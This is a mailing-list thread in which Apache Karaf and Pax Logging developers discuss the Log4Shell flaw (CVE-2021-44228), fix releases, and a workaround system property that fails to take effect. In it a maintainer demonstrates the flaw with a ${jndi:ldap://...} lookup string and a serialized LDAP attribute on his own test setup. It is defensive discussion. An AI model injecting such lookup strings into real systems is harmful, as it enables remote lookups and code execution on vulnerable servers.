> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels 
> wrote:
>
> > I am currently working on a description for a work around (specifying the
> > system property) but I can’t get it to work.
> >
> > It still expands ${java:version}. I checked that it shows with
> > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > %m{lookup} setting.
> >
> > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > version newer than 2.10).
> >
> > Any idea?
> >
> > Is it possible that the shaded pax-logging-log4j does not honor the
> system
> > property of log4j?
> >
> >
> > --
> > https://bernd.eckenfels.net
> > 
> > From: Grzegorz Grzybek 
> > Sent: Friday, December 10, 2021 1:43:00 PM
> > To: dev@karaf.apache.org 
> > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> released
> >
> > Hello
> >
> > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> > in
> > details.
> >
> > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > used it in pattern layout configuration - I didn't expect Log4j2 to
> > interpolate the messages passed to log() methods as well!
> >
> > But you can try (in Karaf):
> >
> > karaf@root()> log:log 'xxx ${java:version} xxx'
> >
> > And you'll see (in the logs):
> >
> > 2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> xxx
> > Java version 1.8.0_312 xxx
> >
> > so a message has been interpolated.
> >
> > What's worse, I could add an entry to my OpenLDAP with:
> >
> > javaClassName: java.lang.String
> > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> >
> > And then:
> >
> > karaf@root()> log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > }'
> >
> > gave me this in logs:
> >
> > 2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > '}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > http://localhost/attack
> >
> > "http://localhost/attack; is the deserialized value from
> > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> >
> > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> URL
> > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > property that defaults to "false" since 2009), you still have a remote
> > request being performed when logging messages with ${jndi:ldap://
> > example.com
> > }.
> >
> > regards
> > Grzegorz Grzybek
> >
> > pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
> > napisał(a):
> >
> > > Hello Grzegorz,
> > >
> > > Thanks a lot for the super quick reaction.
> > >
> > >  I was rather confused to see that log messages can trigger a JNDI
> lookup
> > > anyway. Do you think there should be hardened something here?
> > >
> > >  Do you know if that is triggered by malicious log config or by
> malicious
> > > log messages and does it only affect systems where the JMSAppender is
> > > actually used?
> > >
> > > Gruss
> > > Bernd
> > >
> > >
> > > --
> > > http://bernd.eckenfels.net
> > > 
> > > Von: Grzegorz Grzybek 
> > > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > > An: ops4j-announcem...@googlegroups.com <
> > > ops4j-announcem...@googlegroups.com>; Karaf Dev  >;
> > > d...@felix.apache.org 
> > > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> > >
> > > Hello
> > >
> > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> > fix.
> > >
> > > *Log4j2 has been updated to version 2.15.0.*
> > >
> > > The changelog is available 

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Steven Huypens]

Hi all,

We are using pax logging 2.0.9, but I can see it exports log4j2 packages
for different versions: 2.9.1, 2.13.3 & 2.14.1

Since one of those versions is not higher than 2.10, it's not clear to me
if the system property log4j.formatMsgNoLookup will fix the issue for our
application. Anyone knows ?

Kind regards,
Steven

On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels 
wrote:

> I am currently working on a description for a work around (specifying the
> system property) but I can’t get it to work.
>
> It still expands ${java:version}. I checked that it shows with
> “system:property log4j.formatMsgNoLookup” true and there seems to be no
> %m{lookup} setting.
>
> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> version newer than 2.10).
>
> Any idea?
>
> Is it possible that the shaded pax-logging-log4j does not honor the system
> property of log4j?
>
>
> --
> https://bernd.eckenfels.net
> 
> From: Grzegorz Grzybek 
> Sent: Friday, December 10, 2021 1:43:00 PM
> To: dev@karaf.apache.org 
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> in
> details.
>
> I was a bit surprised too - I knew about e.g., `${java:version}` if you
> used it in pattern layout configuration - I didn't expect Log4j2 to
> interpolate the messages passed to log() methods as well!
>
> But you can try (in Karaf):
>
> karaf@root()> log:log 'xxx ${java:version} xxx'
>
> And you'll see (in the logs):
>
> 2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
> Java version 1.8.0_312 xxx
>
> so a message has been interpolated.
>
> What's worse, I could add an entry to my OpenLDAP with:
>
> javaClassName: java.lang.String
> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>
> And then:
>
> karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest
> }'
>
> gave me this in logs:
>
> 2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> '}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> http://localhost/attack
>
> "http://localhost/attack; is the deserialized value from
> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>
> While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> property that defaults to "false" since 2009), you still have a remote
> request being performed when logging messages with ${jndi:ldap://
> example.com
> }.
>
> regards
> Grzegorz Grzybek
>
> pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
> napisał(a):
>
> > Hello Grzegorz,
> >
> > Thanks a lot for the super quick reaction.
> >
> >  I was rather confused to see that log messages can trigger a JNDI lookup
> > anyway. Do you think there should be hardened something here?
> >
> >  Do you know if that is triggered by malicious log config or by malicious
> > log messages and does it only affect systems where the JMSAppender is
> > actually used?
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> > 
> > Von: Grzegorz Grzybek 
> > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > An: ops4j-announcem...@googlegroups.com <
> > ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> > d...@felix.apache.org 
> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> >
> > Hello
> >
> > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> fix.
> >
> > *Log4j2 has been updated to version 2.15.0.*
> >
> > The changelog is available at GitHub:
> > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >
> > kind regards
> > Grzegorz Grzybek
> >
>